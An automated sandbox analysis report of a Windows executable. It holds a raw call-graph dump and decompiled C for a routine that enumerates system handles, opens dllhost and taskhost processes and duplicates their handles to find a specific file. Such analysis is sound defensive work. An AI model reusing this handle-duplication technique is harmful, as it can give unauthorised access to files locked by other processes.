memcpy memcpy memcpy memset memcpy 39855->40030 39858 43aca8 39857->39858 40031 438eed 16 API calls 39857->40031 39862 43acd5 39858->39862 40033 4233ae 11 API calls 39858->40033 39861 43ac87 40032 4233c5 16 API calls 39861->40032 40034 423426 11 API calls 39862->40034 39866 43ace1 40035 439811 163 API calls 39866->40035 39867 43a9f6 161 API calls 39867->39868 39868->39844 39868->39855 39868->39867 40029 439bbb 22 API calls 39868->40029 39870 43acfd 39875 43ad2c 39870->39875 40036 438eed 16 API calls 39870->40036 39872 43ad19 40037 4233c5 16 API calls 39872->40037 39874 43ad58 40038 44081d 163 API calls 39874->40038 39875->39874 39878 43add9 39875->39878 39878->39878 40042 423426 11 API calls 39878->40042 39879 43ae3a memset 39880 43ae73 39879->39880 40043 42e1c0 147 API calls 39880->40043 39881 43adab 40040 438c4e 163 API calls 39881->40040 39883 43ad6c 39883->39844 39883->39881 40039 42370b memset memcpy memset 39883->40039 39885 43ae96 40044 42e1c0 147 API calls 39885->40044 39887 43adcc 40041 440f84 12 API calls 39887->40041 39890 43aea8 39891 43aec1 39890->39891 40045 42e199 147 API calls 39890->40045 39893 43af00 39891->39893 40046 42e1c0 147 API calls 39891->40046 39893->39844 39896 43af1a 39893->39896 39897 43b3d9 39893->39897 40047 438eed 16 API calls 39896->40047 39903 43b3f6 39897->39903 39909 43b4c8 39897->39909 39898 43b60f 39898->39844 40106 4393a5 17 API calls 39898->40106 39901 43af2f 40048 4233c5 16 API calls 39901->40048 40088 432878 12 API calls 39903->40088 39904 43af51 40049 423426 11 API calls 39904->40049 39907 43af7d 40050 423426 11 API calls 39907->40050 39908 43b4f2 40095 43a76c 21 API calls 39908->40095 39909->39908 40094 42bbd5 memcpy memcpy memcpy memset memcpy 39909->40094 39913 43b529 40096 44081d 163 API calls 39913->40096 39914 43af94 40051 423330 11 API calls 39914->40051 39918 43b544 39929 43b55c 39918->39929 40097 42c02e memset 39918->40097 39919 43afca 40052 423330 11 API calls 39919->40052 39920 43b47e 39927 43b497 39920->39927 40091 42374a memcpy memset memcpy memcpy memcpy 39920->40091 39925 43afdb 40053 4233ae 11 API calls 39925->40053 40092 4233ae 11 API calls 39927->40092 39928 43b4b1 40093 423399 11 API calls 39928->40093 40098 43a87a 163 API calls 39929->40098 39931 43b56c 39935 43b58a 39931->39935 40099 423330 11 API calls 39931->40099 39933 43b428 39941 43b462 39933->39941 40089 432b60 16 API calls 39933->40089 39934 43afee 40054 44081d 163 API calls 39934->40054 40100 440f84 12 API calls 39935->40100 39937 43b4c1 40102 42db80 163 API calls 39937->40102 39940 43b592 40101 43a82f 16 API calls 39940->40101 40090 423330 11 API calls 39941->40090 39945 43b5b4 40103 438c4e 163 API calls 39945->40103 39947 43b5cf 40104 42c02e memset 39947->40104 39949 43b005 39949->39844 39954 43b01f 39949->39954 40055 42d836 163 API calls 39949->40055 39950 43b1ef 40065 4233c5 16 API calls 39950->40065 39952 43b212 40066 423330 11 API calls 39952->40066 39954->39950 40063 423330 11 API calls 39954->40063 40064 42d71d 163 API calls 39954->40064 39957 43b087 40056 4233ae 11 API calls 39957->40056 39959 43add4 39959->39898 40105 438f86 16 API calls 39959->40105 39960 43b22a 40067 42ccb5 11 API calls 39960->40067 39963 43b23f 40068 4233ae 11 API calls 39963->40068 39964 43b10f 40059 423330 11 API calls 39964->40059 39966 43b257 40069 4233ae 11 API calls 39966->40069 39970 43b129 40060 4233ae 11 API calls 39970->40060 39971 43b26e 40070 4233ae 11 API calls 39971->40070 39972 43b09a 39972->39964 40057 42cc15 19 API calls 39972->40057 40058 4233ae 11 API calls 39972->40058 39976 43b282 40071 43a87a 163 API calls 39976->40071 39977 43b13c 40061 440f84 12 API calls 39977->40061 39979 43b29d 40072 423330 11 API calls 39979->40072 39982 43b15f 40062 4233ae 11 API calls 39982->40062 39983 43b2af 39985 43b2b8 39983->39985 39986 43b2ce 39983->39986 40073 4233ae 11 API calls 39985->40073 40074 440f84 12 API calls 39986->40074 39989 43b2c9 40076 4233ae 11 API calls 39989->40076 39990 43b2da 40075 42370b memset memcpy memset 39990->40075 39993 43b2f9 40077 423330 11 API calls 39993->40077 39995 43b30b 40078 423330 11 API calls 39995->40078 39997 43b325 40079 423399 11 API calls 39997->40079 39999 43b332 40080 4233ae 11 API calls 39999->40080 40001 43b354 40081 423399 11 API calls 40001->40081 40003 43b364 40082 43a82f 16 API calls 40003->40082 40005 43b370 40083 42db80 163 API calls 40005->40083 40007 43b380 40084 438c4e 163 API calls 40007->40084 40009 43b39e 40085 423399 11 API calls 40009->40085 40011 43b3ae 40086 43a76c 21 API calls 40011->40086 40013 43b3c3 40087 423399 11 API calls 40013->40087 40015->39836 40016->39838 40017->39839 40019 43a6f5 40018->40019 40025 43a765 40018->40025 40019->40025 40107 42a115 40019->40107 40023 43a73d 40024 42a115 147 API calls 40023->40024 40023->40025 40024->40025 40025->39844 40027 4397fd memset 40025->40027 40026->39846 40027->39853 40028->39844 40029->39868 40030->39857 40031->39861 40032->39858 40033->39862 40034->39866 40035->39870 40036->39872 40037->39875 40038->39883 40039->39881 40040->39887 40041->39959 40042->39879 40043->39885 40044->39890 40045->39891 40046->39891 40047->39901 40048->39904 40049->39907 40050->39914 40051->39919 40052->39925 40053->39934 40054->39949 40055->39957 40056->39972 40057->39972 40058->39972 40059->39970 40060->39977 40061->39982 40062->39954 40063->39954 40064->39954 40065->39952 40066->39960 40067->39963 40068->39966 40069->39971 40070->39976 40071->39979 40072->39983 40073->39989 40074->39990 40075->39989 40076->39993 40077->39995 40078->39997 40079->39999 40080->40001 40081->40003 40082->40005 40083->40007 40084->40009 40085->40011 40086->40013 40087->39959 40088->39933 40089->39941 40090->39920 40091->39927 40092->39928 40093->39937 40094->39908 40095->39913 40096->39918 40097->39929 40098->39931 40099->39935 40100->39940 40101->39937 40102->39945 40103->39947 40104->39959 40105->39898 40106->39844 40108 42a175 40107->40108 40110 42a122 40107->40110 40108->40025 40113 42b13b 147 API calls 40108->40113 40110->40108 40111 42a115 147 API calls 40110->40111 40114 43a174 40110->40114 40138 42a0a8 147 API calls 40110->40138 40111->40110 40113->40023 40128 43a196 40114->40128 40129 43a19e 40114->40129 40115 43a306 40115->40128 40158 4388c4 14 API calls 40115->40158 40118 42a115 147 API calls 40118->40129 40120 43a642 40120->40128 40162 4169a7 11 API calls 40120->40162 40124 43a635 40161 42c02e memset 40124->40161 40128->40110 40129->40115 40129->40118 40129->40128 40139 42ff8c 40129->40139 40147 415a91 40129->40147 40151 4165ff 40129->40151 40154 439504 13 API calls 40129->40154 40155 4312d0 147 API calls 40129->40155 40156 42be4c memcpy memcpy memcpy memset memcpy 40129->40156 40157 43a121 11 API calls 40129->40157 40131 43a325 40131->40120 40131->40124 40131->40128 40132 4169a7 11 API calls 40131->40132 40133 42b5b5 memset memcpy 40131->40133 40134 42bf4c 14 API calls 40131->40134 40137 4165ff 11 API calls 40131->40137 40159 42b63e 14 API calls 40131->40159 40160 42bfcf memcpy 40131->40160 40132->40131 40133->40131 40134->40131 40137->40131 40138->40110 40163 43817e 40139->40163 40141 42ff9d 40141->40129 40142 42ff99 40142->40141 40143 42ffe3 40142->40143 40144 42ffd0 40142->40144 40168 4169a7 11 API calls 40143->40168 40167 4169a7 11 API calls 40144->40167 40148 415a9d 40147->40148 40149 415ab3 40148->40149 40150 415aa4 memset 40148->40150 40149->40129 40150->40149 40317 4165a0 40151->40317 40154->40129 40155->40129 40156->40129 40157->40129 40158->40131 40159->40131 40160->40131 40161->40120 40162->40128 40164 438187 40163->40164 40166 438192 40163->40166 40169 4380f6 40164->40169 40166->40142 40167->40141 40168->40141 40171 43811f 40169->40171 40170 438164 40170->40166 40171->40170 40174 437e5e 40171->40174 40197 4300e8 memset memset memcpy 40171->40197 40198 437d3c 40174->40198 40176 437eb3 40176->40171 40177 437ea9 40177->40176 40182 437f22 40177->40182 40213 41f432 40177->40213 40180 437f06 40260 415c56 11 API calls 40180->40260 40184 437f7f 40182->40184 40185 432d4e 3 API calls 40182->40185 40183 437f95 40261 415c56 11 API calls 40183->40261 40184->40183 40187 43802b 40184->40187 40185->40184 40188 4165ff 11 API calls 40187->40188 40189 438054 40188->40189 40224 437371 40189->40224 40192 43806b 40193 438094 40192->40193 40262 42f50e 138 API calls 40192->40262 40195 437fa3 40193->40195 40263 4300e8 memset memset memcpy 40193->40263 40195->40176 40264 41f638 104 API calls 40195->40264 40197->40171 40199 437d69 40198->40199 40203 437d80 40198->40203 40265 437ccb 11 API calls 40199->40265 40201 437d76 40201->40177 40202 437d90 40202->40201 40269 437ccb 11 API calls 40202->40269 40203->40201 40203->40202 40205 437da3 40203->40205 40206 438460 134 API calls 40205->40206 40209 437dcb 40206->40209 40207 437de8 40268 424f26 123 API calls 40207->40268 40209->40207 40266 444283 13 API calls 40209->40266 40211 437dfc 40267 437ccb 11 API calls 40211->40267 40214 41f54d 40213->40214 40217 41f44f 40213->40217 40215 41f466 40214->40215 40299 41c635 memset memset 40214->40299 40215->40180 40215->40182 40217->40215 40222 41f50b 40217->40222 40270 41f1a5 40217->40270 40295 41c06f memcmp 40217->40295 40296 41f3b1 90 API calls 40217->40296 40297 41f398 86 API calls 40217->40297 40222->40214 40222->40215 40298 41c295 86 API calls 40222->40298 40300 41703f 40224->40300 40226 437399 40227 43739d 40226->40227 40229 4373ac 40226->40229 40307 4446ea 11 API calls 40227->40307 40230 416935 16 API calls 40229->40230 40231 4373ca 40230->40231 40232 438460 134 API calls 40231->40232 40237 4251c4 137 API calls 40231->40237 40241 415a91 memset 40231->40241 40244 43758f 40231->40244 40256 437584 40231->40256 40259 437d3c 135 API calls 40231->40259 40308 425433 13 API calls 40231->40308 40309 425413 17 API calls 40231->40309 40310 42533e 16 API calls 40231->40310 40311 42538f 16 API calls 40231->40311 40312 42453e 123 API calls 40231->40312 40232->40231 40233 4375bc 40235 415c7d 16 API calls 40233->40235 40236 4375d2 40235->40236 40238 4442e6 11 API calls 40236->40238 40258 4373a7 40236->40258 40237->40231 40239 4375e2 40238->40239 40239->40258 40315 444283 13 API calls 40239->40315 40241->40231 40313 42453e 123 API calls 40244->40313 40247 4375f4 40250 437620 40247->40250 40251 43760b 40247->40251 40249 43759f 40252 416935 16 API calls 40249->40252 40254 416935 16 API calls 40250->40254 40316 444283 13 API calls 40251->40316 40252->40256 40254->40258 40256->40233 40314 42453e 123 API calls 40256->40314 40257 437612 memcpy 40257->40258 40258->40192 40259->40231 40260->40176 40261->40195 40262->40193 40263->40195 40264->40176 40265->40201 40266->40211 40267->40207 40268->40201 40269->40201 40271 41bc3b 101 API calls 40270->40271 40272 41f1b4 40271->40272 40273 41edad 86 API calls 40272->40273 40280 41f282 40272->40280 40274 41f1cb 40273->40274 40275 41f1f5 memcmp 40274->40275 40276 41f20e 40274->40276 40274->40280 40275->40276 40277 41f21b memcmp 40276->40277 40276->40280 40278 41f326 40277->40278 40281 41f23d 40277->40281 40279 41ee6b 86 API calls 40278->40279 40278->40280 40279->40280 40280->40217 40281->40278 40282 41f28e memcmp 40281->40282 40284 41c8df 56 API calls 40281->40284 40282->40278 40283 41f2a9 40282->40283 40283->40278 40286 41f308 40283->40286 40287 41f2d8 40283->40287 40285 41f269 40284->40285 40285->40278 40288 41f287 40285->40288 40289 41f27a 40285->40289 40286->40278 40293 4446ce 11 API calls 40286->40293 40290 41ee6b 86 API calls 40287->40290 40288->40282 40291 41ee6b 86 API calls 40289->40291 40292 41f2e0 40290->40292 40291->40280 40294 41b1ca memset 40292->40294 40293->40278 40294->40280 40295->40217 40296->40217 40297->40217 40298->40214 40299->40215 40301 417044 40300->40301 40302 41705c 40300->40302 40304 416760 11 API calls 40301->40304 40306 417055 40301->40306 40303 417075 40302->40303 40305 41707a 11 API calls 40302->40305 40303->40226 40304->40306 40305->40301 40306->40226 40307->40258 40308->40231 40309->40231 40310->40231 40311->40231 40312->40231 40313->40249 40314->40233 40315->40247 40316->40257 40322 415cfe 40317->40322 40323 41628e 40322->40323 40329 415d23 40322->40329 40330 416520 40323->40330 40324 4163ca 40336 416422 11 API calls 40324->40336 40326 416422 10 API calls 40326->40329 40327 416172 memset 40327->40329 40328 415cb9 10 API calls 40328->40329 40329->40323 40329->40324 40329->40326 40329->40327 40329->40328 40331 416527 40330->40331 40335 416574 40330->40335 40333 416544 40331->40333 40331->40335 40337 4156aa 11 API calls 40331->40337 40334 416561 memcpy 40333->40334 40333->40335 40334->40335 40335->40129 40336->40323 40337->40333 40369 41493c EnumResourceNamesW 37651 4287c1 37652 4287d2 37651->37652 37655 429ac1 37651->37655 37656 428818 37652->37656 37657 42881f 37652->37657 37666 425711 37652->37666 37653 4259da 37714 416760 11 API calls 37653->37714 37665 425ad6 37655->37665 37721 415c56 11 API calls 37655->37721 37688 42013a 37656->37688 37716 420244 97 API calls 37657->37716 37658 4260dd 37715 424251 120 API calls 37658->37715 37666->37653 37666->37655 37669 422aeb memset memcpy memcpy 37666->37669 37670 429a4d 37666->37670 37674 4260a1 37666->37674 37684 4259c2 37666->37684 37687 425a38 37666->37687 37704 4227f0 memset memcpy 37666->37704 37705 422b84 15 API calls 37666->37705 37706 422b5d memset memcpy memcpy 37666->37706 37707 422640 13 API calls 37666->37707 37709 4241fc 11 API calls 37666->37709 37710 42413a 90 API calls 37666->37710 37669->37666 37672 429a66 37670->37672 37673 429a9b 37670->37673 37717 415c56 11 API calls 37672->37717 37683 429a96 37673->37683 37719 416760 11 API calls 37673->37719 37713 415c56 11 API calls 37674->37713 37679 429a7a 37718 416760 11 API calls 37679->37718 37720 424251 120 API calls 37683->37720 37684->37665 37708 415c56 11 API calls 37684->37708 37687->37684 37711 422640 13 API calls 37687->37711 37712 4226e0 12 API calls 37687->37712 37689 42014c 37688->37689 37692 420151 37688->37692 37731 41e466 97 API calls 37689->37731 37691 420162 37691->37666 37692->37691 37693 4201b3 37692->37693 37694 420229 37692->37694 37695 4201b8 37693->37695 37696 4201dc 37693->37696 37694->37691 37697 41fd5e 86 API calls 37694->37697 37722 41fbdb 37695->37722 37696->37691 37700 4201ff 37696->37700 37728 41fc4c 37696->37728 37697->37691 37700->37691 37703 42013a 97 API calls 37700->37703 37703->37691 37704->37666 37705->37666 37706->37666 37707->37666 37708->37653 37709->37666 37710->37666 37711->37687 37712->37687 37713->37653 37714->37658 37715->37665 37716->37666 37717->37679 37718->37683 37719->37683 37720->37655 37721->37653 37723 41fbf8 37722->37723 37725 41fbf1 37722->37725 37736 41ee26 37723->37736 37727 41fc39 37725->37727 37746 4446ce 11 API calls 37725->37746 37727->37691 37732 41fd5e 37727->37732 37729 41ee6b 86 API calls 37728->37729 37730 41fc5d 37729->37730 37730->37696 37731->37692 37734 41fd65 37732->37734 37733 41fdab 37733->37691 37734->37733 37735 41fbdb 86 API calls 37734->37735 37735->37734 37737 41ee41 37736->37737 37738 41ee32 37736->37738 37747 41edad 37737->37747 37750 4446ce 11 API calls 37738->37750 37741 41ee3c 37741->37725 37744 41ee58 37744->37741 37752 41ee6b 37744->37752 37746->37727 37756 41be52 37747->37756 37750->37741 37751 41eb85 11 API calls 37751->37744 37753 41ee70 37752->37753 37754 41ee78 37752->37754 37812 41bf99 86 API calls 37753->37812 37754->37741 37757 41be6f 37756->37757 37758 41be5f 37756->37758 37763 41be8c 37757->37763 37777 418c63 37757->37777 37791 4446ce 11 API calls 37758->37791 37760 41be69 37760->37741 37760->37751 37763->37760 37764 41bf3a 37763->37764 37766 41bed1 37763->37766 37767 41bee7 37763->37767 37794 4446ce 11 API calls 37764->37794 37768 41bef0 37766->37768 37770 41bee2 37766->37770 37767->37760 37795 41a453 86 API calls 37767->37795 37768->37767 37769 41bf01 37768->37769 37771 41bf24 memset 37769->37771 37773 41bf14 37769->37773 37792 418a6d memset memcpy memset 37769->37792 37781 41ac13 37770->37781 37771->37760 37793 41a223 memset memcpy memset 37773->37793 37776 41bf20 37776->37771 37779 418c72 37777->37779 37778 418c94 37778->37763 37779->37778 37780 418d51 memset memset 37779->37780 37780->37778 37782 41ac52 37781->37782 37783 41ac3f memset 37781->37783 37786 41ac6a 37782->37786 37796 41dc14 19 API calls 37782->37796 37784 41acd9 37783->37784 37784->37767 37787 41aca1 37786->37787 37797 41519d 37786->37797 37787->37784 37789 41acc0 memset 37787->37789 37790 41accd memcpy 37787->37790 37789->37784 37790->37784 37791->37760 37792->37773 37793->37776 37794->37767 37796->37786 37800 4175ed 37797->37800 37808 417570 SetFilePointer 37800->37808 37803 41760a ReadFile 37804 417637 37803->37804 37805 417627 GetLastError 37803->37805 37806 4151b3 37804->37806 37807 41763e memset 37804->37807 37805->37806 37806->37787 37807->37806 37809 41759c GetLastError 37808->37809 37811 4175b2 37808->37811 37810 4175a8 GetLastError 37809->37810 37809->37811 37810->37811 37811->37803 37811->37806 37812->37754 37813 417bc5 37815 417c61 37813->37815 37816 417bda 37813->37816 37814 417bf6 UnmapViewOfFile CloseHandle 37814->37814 37814->37816 37816->37814 37816->37815 37817 417c2c 37816->37817 37820 4175b7 37816->37820 37817->37816 37825 41851e 20 API calls 37817->37825 37821 4175d6 FindCloseChangeNotification 37820->37821 37822 4175c8 37821->37822 37823 4175df 37821->37823 37822->37823 37824 4175ce Sleep 37822->37824 37823->37816 37824->37821 37825->37817 39808 4147f3 39811 414561 39808->39811 39810 414813 39812 41456d 39811->39812 39813 41457f GetPrivateProfileIntW 39811->39813 39816 4143f1 memset _itow WritePrivateProfileStringW 39812->39816 39813->39810 39815 41457a 39815->39810 39816->39815

                                                                                                                            Executed Functions

                                                                                                                            Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 FindCloseChangeNotification GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                                                            C-Code - Quality: 76%
                                                                                                                            			E0040DD85(void* _a4, intOrPtr _a8, long* _a12, signed int* _a16) {
				int _v8;
				int _v12;
				long _v16;
				int _v20;
				void* _v24;
				int _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v52;
				char _v92;
				void _v618;
				short _v620;
				char _v1612;
				void _v1619;
				char _v1620;
				void* __edi;
				void* _t81;
				long _t88;
				void* _t96;
				void* _t97;
				long _t101;
				intOrPtr* _t110;
				void* _t113;
				long _t117;
				signed char* _t136;
				void* _t138;
				long _t139;
				long _t140;
				signed short* _t142;
				intOrPtr* _t145;
				long* _t146;
				void* _t150;
				void* _t151;
				intOrPtr* _t152;

				_v20 = 0;
				_v28 = 0;
				_v620 = 0;
				memset( &_v618, 0, 0x208);
				E00409BCA( &_v620);
				_t151 = _t150 + 0x10;
				_t81 = CreateFileW( &_v620, 0x80000000, 3, 0, 3, 0, 0); // executed
				_v12 = _t81;
				_v16 = 0;
				_t139 = 0x1000;
				_v8 = 0;
				_t145 = _a4 + 0x20c;
				_t152 = _t145;
				while(1) {
					E0040AFCF(_t145, _t139, _t152);
					_a4 =  *_t145;
					E0041352F();
					if( *0x45dc34 == 0) {
						_t15 =  &_a4;
						 *_t15 = _a4 | 0xffffffff;
						__eflags =  *_t15;
					} else {
						_t117 = NtQuerySystemInformation(0x10, _a4, _t139,  &_v16); // executed
						_a4 = _t117;
					}
					if(_a4 != 0xc0000004) {
						break;
					}
					_t139 = _v16 + 0x5000;
					_v8 = _v8 + 1;
					if(_v8 <= 0xa) {
						continue;
					}
					break;
				}
				FindCloseChangeNotification(_v12); // executed
				_t140 =  *_t145;
				_v16 = _t140;
				_t88 = GetCurrentProcessId();
				if(_a4 == 0) {
					_t138 =  *_t140;
					if(_t138 > 0) {
						_t25 = _t140 + 8; // -20472
						_t136 = _t25;
						do {
							if(( *(_t136 - 4) & 0x0000ffff) == _t88 && (_t136[2] & 0x0000ffff) == _v12) {
								_v28 =  *_t136 & 0x000000ff;
							}
							_t136 =  &(_t136[0x10]);
							_t138 = _t138 - 1;
							_t160 = _t138;
						} while (_t138 != 0);
					}
				}
				E00413D4C(_t160, E00413CFA( &_v92)); // executed
				_v8 = 0;
				if(_v40 > 0) {
					do {
						_t146 = E0040E6AD(_v8,  &_v52);
						_t35 =  &(_t146[1]); // 0x4
						_t96 = E00409C52(_t35);
						_a4 = _t96;
						0x44662e(_t96, "dllhost.exe");
						if(_t96 == 0) {
							L17:
							_t97 = OpenProcess(0x40, 0,  *_t146);
							_v24 = _t97;
							if(_t97 != 0) {
								_v12 = 0;
								if( *_t140 > 0) {
									_t142 = _t140 + 4;
									do {
										if(( *_t142 & 0x0000ffff) !=  *_t146 || (_t142[2] & 0x000000ff) != _v28) {
											goto L26;
										} else {
											_a4 = 0;
											DuplicateHandle(_v24, _t142[3] & 0x0000ffff, GetCurrentProcess(),  &_a4, 0x80000000, 0, 2); // executed
											if(_a4 == 0) {
												goto L26;
											} else {
												_v1620 = 0;
												memset( &_v1619, 0, 0x3e7);
												_t151 = _t151 + 0xc;
												_v36 = 0;
												E0041352F();
												_t110 =  *0x45dc48;
												if(_t110 != 0) {
													 *_t110(_a4, 1,  &_v1620, 0x3e4,  &_v36);
												}
												CloseHandle(_a4);
												_v32 = E00409C52( &_v1612);
												_t113 = E00409C52(_a8);
												0x44662e(_v32, _t113);
												if(_t113 == 0) {
													 *_a12 =  *_t146;
													_t140 = _v16;
													_v20 = 1;
													 *_a16 = _t142[3] & 0x0000ffff;
												} else {
													goto L26;
												}
											}
										}
										goto L29;
										L26:
										_v12 = _v12 + 1;
										_t101 = _v16;
										_t142 =  &(_t142[8]);
									} while (_v12 <  *_t101);
									_t140 = _t101;
								}
								L29:
								CloseHandle(_v24);
							}
							if(_v20 == 0) {
								goto L31;
							}
						} else {
							0x44662e(_a4, "taskhost.exe");
							if(_t96 == 0) {
								goto L17;
							} else {
								0x44662e(_a4, "taskhostex.exe");
								if(_t96 != 0) {
									goto L31;
								} else {
									goto L17;
								}
							}
						}
						goto L32;
						L31:
						_v8 = _v8 + 1;
					} while (_v8 < _v40);
				}
				L32:
				E00413D29( &_v92);
				return _v20;
			}






































                                                                                                                            0x0040dda0
                                                                                                                            0x0040dda3
                                                                                                                            0x0040dda6
                                                                                                                            0x0040ddad
                                                                                                                            0x0040ddb9
                                                                                                                            0x0040ddbe
                                                                                                                            0x0040ddd4
                                                                                                                            0x0040dddd
                                                                                                                            0x0040dde0
                                                                                                                            0x0040dde3
                                                                                                                            0x0040dde8
                                                                                                                            0x0040ddeb
                                                                                                                            0x0040ddeb
                                                                                                                            0x0040ddf1
                                                                                                                            0x0040ddf3
                                                                                                                            0x0040ddfa
                                                                                                                            0x0040ddfd
                                                                                                                            0x0040de09
                                                                                                                            0x0040de1c
                                                                                                                            0x0040de1c
                                                                                                                            0x0040de1c
                                                                                                                            0x0040de0b
                                                                                                                            0x0040de15
                                                                                                                            0x0040de17
                                                                                                                            0x0040de17
                                                                                                                            0x0040de27
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040de2c
                                                                                                                            0x0040de32
                                                                                                                            0x0040de39
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040de39
                                                                                                                            0x0040de3e
                                                                                                                            0x0040de44
                                                                                                                            0x0040de46
                                                                                                                            0x0040de49
                                                                                                                            0x0040de52
                                                                                                                            0x0040de54
                                                                                                                            0x0040de58
                                                                                                                            0x0040de5a
                                                                                                                            0x0040de5a
                                                                                                                            0x0040de5d
                                                                                                                            0x0040de63
                                                                                                                            0x0040de71
                                                                                                                            0x0040de71
                                                                                                                            0x0040de74
                                                                                                                            0x0040de77
                                                                                                                            0x0040de77
                                                                                                                            0x0040de77
                                                                                                                            0x0040de5d
                                                                                                                            0x0040de58
                                                                                                                            0x0040de83
                                                                                                                            0x0040de8b
                                                                                                                            0x0040de8e
                                                                                                                            0x0040de94
                                                                                                                            0x0040de9f
                                                                                                                            0x0040dea1
                                                                                                                            0x0040dea4
                                                                                                                            0x0040deaf
                                                                                                                            0x0040deb2
                                                                                                                            0x0040debb
                                                                                                                            0x0040dee7
                                                                                                                            0x0040deec
                                                                                                                            0x0040def4
                                                                                                                            0x0040def7
                                                                                                                            0x0040deff
                                                                                                                            0x0040df02
                                                                                                                            0x0040df08
                                                                                                                            0x0040df0b
                                                                                                                            0x0040df10
                                                                                                                            0x00000000
                                                                                                                            0x0040df23
                                                                                                                            0x0040df2f
                                                                                                                            0x0040df41
                                                                                                                            0x0040df4a
                                                                                                                            0x00000000
                                                                                                                            0x0040df4c
                                                                                                                            0x0040df59
                                                                                                                            0x0040df5f
                                                                                                                            0x0040df64
                                                                                                                            0x0040df67
                                                                                                                            0x0040df6a
                                                                                                                            0x0040df6f
                                                                                                                            0x0040df76
                                                                                                                            0x0040df8d
                                                                                                                            0x0040df8d
                                                                                                                            0x0040df92
                                                                                                                            0x0040dfa6
                                                                                                                            0x0040dfa9
                                                                                                                            0x0040dfb2
                                                                                                                            0x0040dfbb
                                                                                                                            0x0040dfda
                                                                                                                            0x0040dfe3
                                                                                                                            0x0040dfe6
                                                                                                                            0x0040dfed
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040dfbb
                                                                                                                            0x0040df4a
                                                                                                                            0x00000000
                                                                                                                            0x0040dfbd
                                                                                                                            0x0040dfbd
                                                                                                                            0x0040dfc0
                                                                                                                            0x0040dfc6
                                                                                                                            0x0040dfc9
                                                                                                                            0x0040dfd1
                                                                                                                            0x0040dfd1
                                                                                                                            0x0040dfef
                                                                                                                            0x0040dff2
                                                                                                                            0x0040dff2
                                                                                                                            0x0040dffb
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040debd
                                                                                                                            0x0040dec5
                                                                                                                            0x0040dece
                                                                                                                            0x00000000
                                                                                                                            0x0040ded0
                                                                                                                            0x0040ded8
                                                                                                                            0x0040dee1
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040dee1
                                                                                                                            0x0040dece
                                                                                                                            0x00000000
                                                                                                                            0x0040dffd
                                                                                                                            0x0040dffd
                                                                                                                            0x0040e003
                                                                                                                            0x0040de94
                                                                                                                            0x0040e00c
                                                                                                                            0x0040e00f
                                                                                                                            0x0040e01b

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040DDAD
                                                                                                                              • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                            • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                              • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                                                              • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                                                            • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
